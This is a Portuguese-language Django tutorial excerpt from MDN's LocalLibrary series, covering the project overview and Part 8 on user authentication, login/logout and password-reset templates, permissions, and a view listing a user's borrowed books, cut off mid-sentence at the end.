{"title":"Tutorial Django: Website da Biblioteca Local - Aprendendo desenvolvimento web","text":"Tutorial Django: Website da Biblioteca Local\n============================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nO primeiro artigo da nossa série de tutoriais práticos explica o que você irá aprender, e fornece uma visão do site de exemplo \"biblioteca local\" que estaremos trabalhando e evoluindo em artigos seguintes.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Ler a\n introdução ao Django. Para os próximos artigos você também necessitará ter montando o\n ambiente de desenvolvimento\n para o Django.\n  |\n| Objetivo: | \n Introduzir o exemplo da aplicação usado neste tutorial, e permitir que\n os leitores entendam quais tópicos serão abordados.\n  |\n\nVisão geral\n-----------\n\nBem vindo ao tutorial Django \"Biblioteca Local\" do MDN, no qual desenvolveremos um website que pode ser usado para gerenciar um catálogo para uma biblioteca local.\n\nNessa série de artigos você irá:\n\n* Usar as ferramentas do Django para criar a estrutura de um website e aplicação.\n* Começar e parar o servidor de desenvolvimento.\n* Criar models para representar os dados da aplicação.\n* Usar o *admin* do Django para popular os dados do seu site.\n* Criar *views* para recuperar dados específicos em resposta a diferentes requisições, e *templates* para renderizar os dados como HTML para serem exibidos no navegador.\n* Criar *mappers* para associar diferentes padrões de URL com as*views* específicas.\n* Adicionar autorização de usuário e sessões para controlar o comportamento e acesso do site.\n* Trabalhar com formulários.\n* Criar teste de código para a sua aplicação.\n* Usar a segurança do Django de forma eficaz.\n* Implantar sua aplicação para produção.\n\nVocê já aprendeu alguns desses tópicos e passou brevemente por outros. Até o final dessa série de tutoriais você deve saber o suficiente para desenvolver uma aplicação simples em Django sozinho.\n\nWebsite da Biblioteca Local - LocalLibrary\n------------------------------------------\n\n*LocalLibrary* é o nome do site que vamos criar e evoluir ao longo dessa série de tutoriais. Como seria de esperar, a proposta do site é fornecer um catálogo online para uma pequena biblioteca local, onde os usuários podem procurar por livros disponíveis e gerenciar suas contas.\n\nEsse exemplo foi cuidadosamente escolhido porque escalar para mostrar quanto detalhe precisamos, muito ou pouco, e pode ser usado para mostrar quase qualquer recurso do Django. Mais importante ainda, nos permite fornecer um caminho *guiado* através da funcionalidade mais importante do estrutura web do Django:\n\n* Nos primeiros tutoriais, vamos definir uma biblioteca simples de *navegação exclusiva* que os membros podem usar para procurar quais livros estão disponíveis. Isso nos permite explorar operações simples que são comuns para quase todos os sites: leitura e exibição de conteúdo de um banco de dados\n* Conforme formos progredindo, o exemplo da biblioteca irá (naturalmente) se estender para demonstrar recursos mais avançados do Django. Nós podemos expandir a biblioteca, por exemplo, para permitir que usuários reservem livros, e usar isto para demonstrar como usar formulários e suporte a autenticação de usuários.\n\nEmbora este seja um exemplo extenso, ele é chamado Biblioteca **Local** por uma razão - nós esperamos mostrar o mínimo de informação necessária para ajudar a desenvolver e executar uma aplicação com o Django rapidamente. Como resultado nós armazenaremos informações sobre livros, seus exemplares, autores e outras informações chave. Contudo, nós não armazenaremos informações sobre outros itens que uma biblioteca pode utilizar, ou fornecer a infraestrutura necessária para dar suporte a sites multi-biblioteca ou outros recursos do tipo \"grande biblioteca\".\n\nOnde posso obter o código fonte?\n--------------------------------\n\nNa medida em que você avança com o tutorial, nós forneceremos os fragmentos de código apropriados para que você possa copiá-los e colá-los em cada ponto. Também existirão outros códigos que você estenderá por conta própria (com alguma orientação).\n\nSe você travar, a versão completa do website pode ser encontrada aqui no Github.\n\nResumo\n------\n\nAgora que você sabe um pouco mais sobre o website *LocalLIbrary* e o que você irá aprender, é hora de começar a criar um escopo do projeto.\n\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 8: Autenticação de usuário e permissões - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 8: Autenticação de usuário e permissões\n=============================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nNeste tutorial, mostraremos como permitir que os usuários efetuem login no seu site com suas próprias contas e como controlar o que eles podem fazer e ver com base em se eles estão ou não conectados e em suas permissões. Como parte desta demonstração, estenderemos o LocalLibrary website, adicionando páginas de login e logout e páginas específicas do usuário e da equipe para visualizar os livros emprestados.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conclua todos os tópicos do tutorial anterior, incluindo\n Django Tutorial Part 7: Sessions framework.\n  |\n| Objetivo: | \n Para entender como configurar e usar a autenticação e permissões de\n usuário.\n  |\n\nVisão global\n------------\n\nO Django fornece um sistema de autenticação e autorização (\"permissão\"), construído sobre a estrutura da sessão discutida no tutorial anterior, que permite verificar as credenciais do usuário e definir quais ações cada usuário tem permissão para executar. A estrutura inclui modelos internos para `Users` e `Groups` (uma maneira genérica de aplicar permissões a mais de um usuário por vez), permissões/sinalizadores que designam se um usuário pode executar uma tarefa, formulários e exibições para efetuar logon em usuários e exibir ferramentas para restringir o conteúdo.\n\n**Nota:** De acordo com o Django, o sistema de autenticação pretende ser muito genérico e, portanto, não fornece alguns recursos fornecidos em outros sistemas de autenticação na web. Soluções para alguns problemas comuns estão disponíveis como pacotes de terceiros. Por exemplo, limitação de tentativas de login e autenticação contra terceiros (por exemplo, OAuth).\n\nNeste tutorial, mostraremos como habilitar a autenticação do usuário no diretório LocalLibrary website, crie suas próprias páginas de logon e logout, adicione permissões aos seus modelos e controle o acesso às páginas. Usaremos a autenticação/permissões para exibir listas de livros que foram emprestados para usuários e bibliotecários.\n\nO sistema de autenticação é muito flexível e você pode criar seus URLs, formulários, visualizações e modelos a partir do zero, se quiser, apenas chamando a API fornecida para efetuar login no usuário. No entanto, neste artigo, vamos usar as visualizações e formulários de autenticação \"stock\" do Django para nossas páginas de logon e logout. Ainda precisamos criar alguns modelos, mas isso é bem fácil.\n\nTambém mostraremos como criar permissões e verificar o status e as permissões de login nas visualizações e nos modelos.\n\nAtivando a autenticação\n-----------------------\n\nA autenticação foi ativada automaticamente quando criamos o esqueleto do site (no tutorial 2), para que você não precise fazer mais nada neste momento.\n\n**Nota:** A configuração necessária foi feita para nós quando criamos o aplicativo usando o comando `django-admin startproject`. As tabelas de banco de dados para usuários e permissões de modelo foram criadas quando chamamos pela primeira vez `python manage.py migrate`.\n\nA configuração está definida nas seções `INSTALLED_APPS` e `MIDDLEWARE` no settings.py (**locallibrary/locallibrary/settings.py**), como mostrado abaixo:\n\n\n```python\nINSTALLED_APPS = [\n    ...\n    'django.contrib.auth',  #Core authentication framework and its default models.\n    'django.contrib.contenttypes',  #Django content type system (allows permissions to be associated with models).\n    ....\n\nMIDDLEWARE = [\n    ...\n    'django.contrib.sessions.middleware.SessionMiddleware',  #Manages sessions across requests\n    ...\n    'django.contrib.auth.middleware.AuthenticationMiddleware',  #Associates users with requests using sessions.\n    ....\n```\n\nCriando usuários e grupos\n-------------------------\n\nVocê já criou seu primeiro usuário quando olhamos para o site Django admin no tutorial 4 (este era um superusuário, criado com o comando `python manage.py createsuperuser)`. Nosso superusuário já está autenticado e tem todas as permissões, portanto, precisamos criar um usuário de teste para representar um usuário normal do site. Usaremos o site de administração para criar nossos grupos de bibliotecas de locais e logins de sites, pois é uma das maneiras mais rápidas de fazer isso.\n\n**Nota:** Você também pode criar usuários programaticamente, conforme mostrado abaixo. Você precisaria fazer isso, por exemplo, se desenvolvesse uma interface para permitir que os usuários criassem seus próprios logins (você não deve conceder aos usuários acesso ao site de administração).\n\n\n```python\nfrom django.contrib.auth.models import User\n\n# Create user and save to the database\nuser = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword')\n\n# Update fields and then save again\nuser.first_name = 'John'\nuser.last_name = 'Citizen'\nuser.save()\n```\n\n\nAbaixo, primeiro criaremos um grupo e depois um usuário. Embora ainda não tenhamos permissões para adicionar aos membros da nossa biblioteca, se precisarmos mais tarde, será muito mais fácil adicioná-los uma vez ao grupo do que individualmente a cada membro.\n\nInicie o servidor de desenvolvimento e navegue até o site de administração em seu navegador da web local (`http://127.0.0.1:8000/admin/`). Entre no site usando as credenciais da sua conta de superusuário. O nível superior do site Admin exibe todos os seus modelos, classificados por \"aplicativo Django\". Na seção **Autenticação e Autorização**, você pode clicar nos links **Usuários** ou **Grupos** para ver seus registros existentes.\n\n![Admin site - add groups or users](/pt-BR/docs/Learn/Server-side/Django/Authentication/admin_authentication_add.png)\n\nPrimeiro vamos criar um novo grupo para os membros da nossa biblioteca.\n\n1. Clique no botão **Adicionar** (ao lado de Grupo) para criar um novo grupo; digite o **Nome** \"Library Members\" para o grupo.\n ![Admin site - add group](/pt-BR/docs/Learn/Server-side/Django/Authentication/admin_authentication_add_group.png)\n2. Não precisamos de permissões para o grupo, então pressione **SALVAR** (você será direcionado para uma lista de grupos).\n\nAgora vamos criar um usuário:\n\n1. Volte para a página inicial do site de administração\n2. Clique no botão **Adicionar** ao lado de *Usuários* para abrir a caixa de diálogo *Adicionar usuário*.\n ![Admin site - add user pt1](/pt-BR/docs/Learn/Server-side/Django/Authentication/admin_authentication_add_user_prt1.png)\n3. Digite um nome de **usuário** e uma **senha/confirmação de senha** adequados para o usuário de teste\n4. Pressione **SALVAR** para criar o usuário.\n O site de administração criará o novo usuário e levará você imediatamente para uma tela Alterar usuário, na qual é possível alterar seu **nome de usuário** e adicionar informações aos campos opcionais do modelo de usuário. Esses campos incluem o nome, o sobrenome, o endereço de email e o status e as permissões do usuário (somente o sinalizador **Ativo** deve ser definido). Mais abaixo, você pode especificar os grupos e permissões do usuário e ver datas importantes relacionadas ao usuário (por exemplo, a data de ingresso e a última data de login).\n ![Admin site - add user pt2](/pt-BR/docs/Learn/Server-side/Django/Authentication/admin_authentication_add_user_prt2.png)\n5. Na seção *Grupos*, selecione grupo de **Library Members** na lista de *Grupos disponíveis* e pressione a **seta para a direita** entre as caixas para movê-lo para a caixa *Grupos escolhidos*.\n ![Admin site - add user to group](/pt-BR/docs/Learn/Server-side/Django/Authentication/admin_authentication_user_add_group.png)\n6. Não precisamos fazer mais nada aqui; basta selecionar **SALVAR** novamente, para ir para a lista de usuários.\n\nÉ isso aí! Agora você tem uma conta de \"membro normal da biblioteca\" que poderá usar nos testes (depois de implementarmos as páginas para permitir o login).\n\n**Nota:** Você deve tentar criar outro usuário membro da biblioteca. Além disso, crie um grupo para bibliotecários e adicione um usuário a ele também!\n\nConfigurando suas views de autenticação\n---------------------------------------\n\nO Django fornece quase tudo que você precisa para criar páginas de autenticação para lidar com o login, logout e gerenciamento de senhas \"out of the box\". Isso inclui um mapeador de URL, visualizações e formulários, mas não inclui os modelos - precisamos criar os nossos!\n\nNesta seção, mostramos como integrar o sistema padrão no site *LocalLibrary* e criar os modelos. Vamos colocá-los nos principais URLs do projeto.\n\n**Nota:** Você não precisa usar nenhum desses códigos, mas é provável que queira, porque isso facilita muito as coisas. Você quase certamente precisará alterar o código de manipulação de formulários se alterar seu modelo de usuário (um tópico avançado!), Mas, mesmo assim, ainda poderá usar as funções padrão das views.\n\n> \n> \\*\\*Nota:\\*\\*Nesse caso, poderíamos colocar razoavelmente as páginas de autenticação, incluindo os URLs e modelos, dentro do nosso aplicativo de catálogo. No entanto, se tivéssemos vários aplicativos, seria melhor separar esse comportamento de login compartilhado e disponibilizá-lo em todo o site, e é isso que mostramos aqui!\n> \n> \n> \n\n### URLs do Projeto\n\nAdicione o seguinte à parte inferior do arquivo urls.py do projeto (**locallibrary/locallibrary/urls.py**):\n\n\n```python\n#Add Django site authentication urls (for login, logout, password management)\nurlpatterns += [\n    path('accounts/', include('django.contrib.auth.urls')),\n]\n```\n\n\nNavegue até URL `http://127.0.0.1:8000/accounts/` (observe a barra à direita!) e o Django mostrará um erro que não foi possível encontrar esse URL e listará todos os URLs que ele tentou. A partir disso, você pode ver os URLs que funcionarão, por exemplo:\n\n> \n> \\*\\*Nota:\\*\\*O uso do método acima adiciona os seguintes URLs com nomes entre colchetes, que podem ser usados para reverter os mapeamentos de URL. Você não precisa implementar mais nada - o mapeamento de URL acima mapeia automaticamente os URLs mencionados abaixo.\n> \n> \n> python\n> ```python\n> accounts/ login/ [name='login']\n> accounts/ logout/ [name='logout']\n> accounts/ password_change/ [name='password\\_change']\n> accounts/ password_change/done/ [name='password\\_change\\_done']\n> accounts/ password_reset/ [name='password\\_reset']\n> accounts/ password_reset/done/ [name='password\\_reset\\_done']\n> accounts/ reset/<uidb64>/<token>/ [name='password\\_reset\\_confirm']\n> accounts/ reset/done/ [name='password\\_reset\\_complete']\n> \n> ```\n> \n> \n\nAgora tente navegar para o URL de login (`http://127.0.0.1:8000/accounts/login/`). Isso falhará novamente, mas com um erro informando que estamos perdendo o modelo necessário (**registration/login.html**) no caminho de pesquisa do modelo. Você verá as seguintes linhas listadas na seção amarela na parte superior:\n\n\n```python\nException Type:    TemplateDoesNotExist\nException Value:    registration/login.html\n```\n\n\nA próxima etapa é criar um diretório de registro no caminho de pesquisa e adicionar o arquivo **login.html**.\n\n### Diretório de Templates\n\nOs URLs (e implicitamente, visualizações) que acabamos de adicionar esperam encontrar seus modelos associados em um diretório **/registration/** em algum lugar no caminho de pesquisa de modelos.\n\nNeste site, colocaremos nossas páginas HTML no diretório **templates/registration/**. Esse diretório deve estar no diretório raiz do projeto, ou seja, o mesmo diretório que a pasta **catalog** e **locallibrary**. Por favor, crie essas pastas agora.\n\n**Nota:** Sua estrutura de pastas agora deve se parecer como abaixo:\n locallibrary (Django project folder)\n |\\_catalog\n |\\_locallibrary\n |\\_templates **(new)**\n |\\_registration\n\n\nPara tornar esses diretórios visíveis para o carregador de modelos (ou seja, para colocar esse diretório no caminho de pesquisa de modelos), abra as configurações do projeto (**/locallibrary/locallibrary/settings.py**) e atualize o seção `TEMPLATES` linha `'DIRS'` como mostrado abaixo.\n\n\n```python\nTEMPLATES = [\n    {\n        ...\n        'DIRS': [os.path.join(BASE_DIR, 'templates')],\n        'APP\\_DIRS': True,\n        ...\n```\n\n### Template de login\n\n**Aviso:** **Importante**: Os modelos de autenticação fornecidos neste artigo são uma versão muito básica/ligeiramente modificada dos modelos de login de demonstração do Django. Pode ser necessário personalizá-los para seu próprio uso!\n\nCrie um novo arquivo HTML chamado **/locallibrary/templates/registration/login.html** e forneça o seguinte conteúdo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n\n  {% if form.errors %}\n    <p>Your username and password didn't match. Please try again.</p>\n  {% endif %}\n\n  {% if next %}\n    {% if user.is\\_authenticated %}\n      <p>Your account doesn't have access to this page. To proceed,\n      please login with an account that has access.</p>\n    {% else %}\n      <p>Please login to see this page.</p>\n    {% endif %}\n  {% endif %}\n\n  <form method=\"post\" action=\"{% url 'login' %}\">\n    {% csrf\\_token %}\n    <table>\n      <tr>\n        <td>{{ form.username.label\\_tag }}</td>\n        <td>{{ form.username }}</td>\n      </tr>\n      <tr>\n        <td>{{ form.password.label\\_tag }}</td>\n        <td>{{ form.password }}</td>\n      </tr>\n    </table>\n    <input type=\"submit\" value=\"login\" />\n    <input type=\"hidden\" name=\"next\" value=\"{{ next }}\" />\n  </form>\n\n  {# Assumes you setup the password\\_reset view in your URLconf #}\n  <p><a href=\"{% url 'password\\_reset' %}\">Lost password?</a></p>\n\n{% endblock %}\n```\n\n\nEste modelo compartilha algumas semelhanças com as que já vimos antes - estende nosso modelo base e substitui o bloco `content`. O restante do código é um código de manipulação de formulário bastante padrão, que discutiremos em um tutorial posterior. Por enquanto, tudo o que você precisa saber é que isso exibirá um formulário no qual é possível inserir seu nome de usuário e senha e que, se você inserir valores inválidos, será solicitado que você digite os valores corretos quando a página for atualizada.\n\nNavegue de volta para a página de login (`http://127.0.0.1:8000/accounts/login/`). Depois de salvar seu modelo, você verá algo assim:\n\n![Library login page v1](/pt-BR/docs/Learn/Server-side/Django/Authentication/library_login.png)\n\nSe você fizer login usando credenciais válidas, será redirecionado para outra página (por padrão, isso será `http://127.0.0.1:8000/accounts/profile/`). O problema é que, por padrão, o Django espera que, ao fazer o login, você deseje ser levado para uma página de perfil, o que pode ou não ser o caso. Como você ainda não definiu esta página, receberá outro erro!\n\nAbra as configurações do projeto (**/locallibrary/locallibrary/settings.py**) e adicione o texto abaixo na parte inferior. Agora, quando você faz login, deve ser redirecionado para a página inicial do site por padrão.\n\n\n```python\n# Redirect to home URL after login (Default redirects to /accounts/profile/)\nLOGIN_REDIRECT_URL = '/'\n```\n\n### Template de logout\n\nSe você navegar para o URL de logout (`http://127.0.0.1:8000/accounts/logout/`) você verá um comportamento estranho - seu usuário será desconectado com certeza, mas será direcionado para a pagina de logout do **Admin**. Não é isso que você deseja, apenas porque o link de login nessa página o leva para a tela de login do administrador (e está disponível apenas para usuários que têm a permissão `is_staff`).\n\nCrie e abra /**locallibrary/templates/registration/logged\\_out.html**. Copie o texto abaixo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <p>Logged out!</p>\n  <a href=\"{% url 'login'%}\">Click here to login again.</a>\n{% endblock %}\n```\n\n\nEste modelo é muito simples. Ele apenas exibe uma mensagem informando que você foi desconectado e fornece um link que você pode pressionar para voltar à tela de login. Se você acessar o URL de logoff novamente, deverá ver esta página:\n\n![Library logout page v1](/pt-BR/docs/Learn/Server-side/Django/Authentication/library_logout.png)\n\n### Templates para reset de password\n\nO sistema de redefinição de senha padrão usa o email para enviar ao usuário um link de redefinição. Você precisa criar formulários para obter o endereço de email do usuário, enviar o email, permitir que ele insira uma nova senha e anotar quando todo o processo está completo.\n\nOs seguintes modelos podem ser usados como ponto de partida.\n\n#### Formulário para reset de password\n\nEste é o formulário usado para obter o endereço de email do usuário (para enviar o email de redefinição de senha). Crie **/locallibrary/templates/registration/password\\_reset\\_form.html** e forneça o seguinte conteúdo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <form action=\"\" method=\"post\">\n  {% csrf\\_token %}\n  {% if form.email.errors %}\n    {{ form.email.errors }}\n  {% endif %}\n      <p>{{ form.email }}</p>\n    <input type=\"submit\" class=\"btn btn-default btn-lg\" value=\"Reset password\">\n  </form>\n{% endblock %}\n```\n\n\n#### Password reset done\n\nEste formulário é exibido após a coleta do seu endereço de email. Crie **/locallibrary/templates/registration/password\\_reset\\_done.html**, e forneça o seguinte conteúdo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p>\n{% endblock %}\n```\n\n\n#### Password reset email\n\nEste modelo fornece o texto do email em HTML que contém o link de redefinição que enviaremos aos usuários. Crie **/locallibrary/templates/registration/password\\_reset\\_email.html** e forneça o seguinte conteúdo:\n\n\n```django\nSomeone asked for password reset for email {{ email }}. Follow the link below:\n{{ protocol}}://{{ domain }}{% url 'password\\_reset\\_confirm' uidb64=uid token=token %}\n```\n\n\n#### Password reset confirm\n\nÉ nesta página que você digita sua nova senha depois de clicar no link no e-mail de redefinição de senha. Crie **/locallibrary/templates/registration/password\\_reset\\_confirm.html** e forneça o seguinte conteúdo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  {% if validlink %}\n    <p>Please enter (and confirm) your new password.</p>\n    <form action=\"\" method=\"post\">\n      {% csrf\\_token %}\n      <table>\n        <tr>\n          <td>\n            {{ form.new\\_password1.errors }}\n            <label for=\"id\\_new\\_password1\">New password:</label>\n          </td>\n          <td>{{ form.new\\_password1 }}</td>\n        </tr>\n        <tr>\n          <td>\n            {{ form.new\\_password2.errors }}\n            <label for=\"id\\_new\\_password2\">Confirm password:</label>\n          </td>\n          <td>{{ form.new\\_password2 }}</td>\n        </tr>\n        <tr>\n          <td></td>\n          <td><input type=\"submit\" value=\"Change my password\" /></td>\n        </tr>\n      </table>\n    </form>\n  {% else %}\n    <h1>Password reset failed</h1>\n    <p>\n      The password reset link was invalid, possibly because it has already been\n      used. Please request a new password reset.\n    </p>\n  {% endif %}\n{% endblock %}\n```\n\n\n#### Password reset complete\n\nEste é o último modelo de redefinição de senha, exibido para notificá-lo quando a redefinição de senha for bem-sucedida. Crie **/locallibrary/templates/registration/password\\_reset\\_complete.html** e forneça o seguinte conteúdo:\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>The password has been changed!</h1>\n  <p><a href=\"{% url 'login' %}\">log in again?</a></p>\n{% endblock %}\n```\n\n### Testando as novas páginas de autenticação\n\nAgora que você adicionou a configuração da URL e criou todos esses modelos, as páginas de autenticação agora devem funcionar!\n\nVocê pode testar as novas páginas de autenticação tentando fazer login e sair da sua conta de superusuário usando estes URLs:\n\n* `http://127.0.0.1:8000/accounts/login/`\n* `http://127.0.0.1:8000/accounts/logout/`\n\nVocê poderá testar a funcionalidade de redefinição de senha no link na página de login. **Esteja ciente de que o Django enviará apenas emails de redefinição para endereços (usuários) que já estão armazenados em seu banco de dados!**\n\n**Nota:** O sistema de redefinição de senha exige que seu site suporte e-mail, que está além do escopo deste artigo, portanto esta parte ainda não funcionará. Para permitir o teste, coloque a seguinte linha no final do seu arquivo settings.py. Isso registra todos os emails enviados ao console (para que você possa copiar o link de redefinição de senha do console).\n\n\n```python\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n```\n\n\nPara mais informações, veja Sending email (Django docs).\n\nTestando contra usuários autenticados\n-------------------------------------\n\nEsta seção analisa o que podemos fazer para controlar seletivamente o conteúdo que o usuário vê, com base em se está logado ou não.\n\n### Testando nos templates\n\nVocê pode obter informações sobre o usuário conectado no momento em modelos com a variável de template `{{ user }}` (isso é adicionado ao contexto do template por padrão quando você configura o projeto como fizemos em nosso esqueleto).\n\nNormalmente você primeiro testará contra a variável de template `{{ user.is_authenticated }}` para determinar se o usuário está qualificado para ver conteúdo específico. Para demonstrar isso, em seguida, atualizaremos nossa barra lateral para exibir um link \"Login\" se o usuário estiver desconectado e um link \"Logout\" se estiverem conectados.\n\nAbra o template base (**/locallibrary/catalog/templates/base\\_generic.html**) e copie o texto a seguir no bloco `sidebar`, imediatamente antes da template tag `endblock`.\n\n\n```django\n  <ul class=\"sidebar-nav\">\n    ...\n\n    {% if user.is\\_authenticated %}\n      <li>User: {{ user.get\\_username }}</li>\n      <li><a href=\"{% url 'logout'%}?next={{request.path}}\">Logout</a></li>\n    {% else %}\n      <li><a href=\"{% url 'login'%}?next={{request.path}}\">Login</a></li>\n    {% endif %}\n  </ul>\n```\n\n\nComo você pode ver, usamos template tags `if`-`else`-`endif` para exibir condicionalmente o texto com base em `{{ user.is_authenticated }}` ser verdadeiro. Se o usuário estiver autenticado, sabemos que temos um usuário válido, por isso chamamos `{{ user.get_username }}` para exibir o nome deles.\n\nCriamos os URLs dos links de logon e logout usando a template tag `url` e os nomes das respectivas configurações de URL. Observe também como anexamos `?next={{request.path}}` no final dos URLs. O que isso faz é adicionar um parâmetro de URL a seguir, contendo o endereço (URL) da página atual, ao final do URL vinculado. Após o usuário ter efetuado login/logout com sucesso, as visualizações usarão este valor \"`next`\" para redirecionar o usuário de volta à página em que ele clicou pela primeira vez no link de logon/logout.\n\n**Nota:** Experimente! Se você estiver na página inicial e clicar em Login/Logout na barra lateral, depois que a operação for concluída, você deverá voltar à mesma página.\n\n### Testando nas views\n\nSe você estiver usando views baseadas em funções, a maneira mais fácil de restringir o acesso a suas funções é aplicando o decorator `login_required` à sua função view, como mostrado abaixo. Se o usuário estiver logado, seu código de exibição será executado normalmente. Se o usuário não estiver conectado, isso será redirecionado para o URL de login definido nas configurações do projeto.(`settings.LOGIN_URL`), passando o caminho absoluto atual como o `next` no parametro da URL. Se o usuário conseguir fazer login, ele retornará a esta página, mas desta vez autenticado.\n\n\n```python\nfrom django.contrib.auth.decorators import login_required\n\n@login\\_required\ndef my\\_view(request):\n    ...\n```\n\n\n**Nota:** Você pode fazer o mesmo tipo de coisa manualmente testando em`request.user.is_authenticated`, mas o decorator é muito mais conveniente!\n\nDa mesma forma, a maneira mais fácil de restringir o acesso a usuários logados em suas visualizações baseadas em classe é derivar de `LoginRequiredMixin`. Você precisa declarar esse mixin primeiro na lista de superclasses, antes da classe de visualização principal.\n\n\n```python\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nclass MyView(LoginRequiredMixin, View):\n    ...\n```\n\n\nIsso tem exatamente o mesmo comportamento de redirecionamento que o decorator `login_required`. Você também pode especificar um local alternativo para redirecionar o usuário se ele não estiver autenticado (`login_url`), e um nome de parâmetro de URL em vez de \"`next`\" para inserir o caminho absoluto atual (`redirect_field_name`).\n\n\n```python\nclass MyView(LoginRequiredMixin, View):\n    login_url = '/login/'\n    redirect_field_name = 'redirect\\_to'\n```\n\n\nPara detalhes adicionais, consulte o Django docs here.\n\nExemplo - listando os livros do usuário atual\n---------------------------------------------\n\nAgora que sabemos como restringir uma página a um usuário específico, vamos criar uma visualização dos livros que o usuário atual emprestou.\n\nInfelizmente, ainda não temos como os usuários emprestarem livros! Portanto, antes que possamos criar a lista de livros, primeiro estenderemos o modelo `BookInstance` para suportar o conceito de empréstimo e usar o aplicativo Django Admin para emprestar vários livros ao nosso usuário de teste.\n\n### Models\n\nPrimeiro, teremos que possibilitar que os usuários tenham um `BookInstance` emprestado (já temos um `status` e uma data `due_back`, mas ainda não temos nenhuma associação entre esse modelo e um usuário. Vamos criar um usando um campo `ForeignKey` (one-to-many). Também precisamos de um mecanismo fácil para testar se um livro emprestado está vencido.\n\nAbra **catalog/models.py**, e importe o model `User` de `django.contrib.auth.models` (adicione isso logo abaixo da linha de importação anterior na parte superior do arquivo, para `User` estar disponível para o código subsequente que faz uso dele):\n\n\n```python\nfrom django.contrib.auth.models import User\n```\n\n\nEm seguida, adicione o campo `borrower` para o modelo `BookInstance`:\n\n\n```python\nborrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)\n```\n\n\nEnquanto estamos aqui, vamos adicionar uma propriedade que podemos chamar de nossos modelos para saber se uma instância específica de um livro está atrasada. Embora possamos calcular isso no próprio modelo, usando uma property como mostrado abaixo será muito mais eficiente.\n\nAdicione isso em algum lugar perto da parte superior do arquivo:\n\n\n```python\nfrom datetime import date\n```\n\n\nAgora adicione a seguinte definição de propriedade a classe `BookInstance`:\n\n\n```python\n@property\ndef is\\_overdue(self):\n    if self.due_back and date.today() > self.due_back:\n        return True\n    return False\n```\n\n\n**Nota:** Primeiro, verificamos se `due_back` está vazio antes de fazer uma comparação. Um campo `due_back` vazio faria com que o Django gerasse um erro em vez de mostrar a página: valores vazios não são comparáveis. Isso não é algo que gostaríamos que nossos usuários experimentassem!\n\nAgora que atualizamos nossos modelos, precisaremos fazer novas migrações no projeto e aplicá-las:\n\n\n```bash\npython3 manage.py makemigrations\npython3 manage.py migrate\n```\n\n### Admin\n\nAgora abra **catalog/admin.py**, e adicione o campo `borrower` para a classe `BookInstanceAdmin` em ambos os `list_display` e o `fieldsets` como mostrado abaixo. Isso tornará o campo visível na seção Admin, permitindo atribuir um `User` para um `BookInstance` quando necessário.\n\n\n```python\n@admin.register(BookInstance)\nclass BookInstanceAdmin(admin.ModelAdmin):\n    list_display = ('book', 'status', 'borrower', 'due\\_back', 'id')\n    list_filter = ('status', 'due\\_back')\n\n    fieldsets = (\n        (None, {\n            'fields': ('book','imprint', 'id')\n        }),\n        ('Availability', {\n            'fields': ('status', 'due\\_back','borrower')\n        }),\n    )\n```\n\n### Emprestando alguns livros\n\nAgora que é possível emprestar livros para um usuário específico, vá e empreste vários `BookInstance`. Defina o campo `borrowed` para o usuário de teste, faça o `status` \"On loan\", e defina datas de vencimento no futuro e no passado.\n\n**Nota:** Não detalharemos o processo, pois você já sabe como usar o site Admin!\n\n### Na view loan\n\nAgora, adicionaremos uma view para obter a lista de todos os livros que foram emprestados ao usuário atual. Usaremos a mesma view de lista genérica baseada em classe com a qual estamos familiarizados, mas desta vez também importaremos e derivaremos de `LoginRequiredMixin`, para que apenas um usuário conectado possa chamar essa visualização. Também optaremos por declarar um `template_name`, em vez de usar o padrão, pois podemos ter algumas listas diferentes de registros BookInstance, com diferentes visualizações e modelos.\n\nAdicione o seguinte a **catalog/views.py**:\n\n\n```python\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nclass LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):\n    \"\"\"Generic class-based view listing books on loan to current user.\"\"\"\n    model = BookInstance\n    template_name ='catalog/bookinstance\\_list\\_borrowed\\_user.html'\n    paginate_by = 10\n\n    def get\\_queryset(self):\n        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due\\_back')\n```\n\n\nPara restringir nossa consulta apenas ao objeto `BookInstance` para o usuário atual, reimplementamos `get_queryset()` como mostrado abaixo. Observe que \"o\" is the stored code for \"on loan\" (emprestado) e nós pedimos pela data `due_back` para que os itens mais antigos sejam exibidos primeiro.\n\n### URL conf para livros on loan (emprestado)\n\nAgora abra **/catalog/urls.py** e adicione um `path()` apontando para a visualização acima (você pode copiar o texto abaixo no final do arquivo).\n\n\n```python\nurlpatterns += [\n    path('mybooks/', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),\n]\n```\n\n### Template para livros on loan (emprestado)\n\nAgora, tudo o que precisamos fazer para esta página é adicionar um modelo. Primeiro, crie o arquivo de modelo **/catalog/templates/catalog/bookinstance\\_list\\_borrowed\\_user.html** e forneça o seguinte conteúdo:\n\n\n```python\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n    <h1>Borrowed books</h1>\n\n    {% if bookinstance_list %}\n    <ul>\n\n      {% for bookinst in bookinstance_list %}\n      <li class=\"{% if bookinst.is\\_overdue %}text-danger{% endif %}\">\n        <a href=\"{% url 'book-detail' bookinst.book.pk %}\">{{bookinst.book.title}}</a> ({{ bookinst.due_back }})\n      </li>\n      {% endfor %}\n    </ul>\n\n    {% else %}\n      <p>There are no books borrowed.</p>\n    {% endif %}\n{% endblock %}\n```\n\n\nEste modelo é muito semelhante ao que criamos 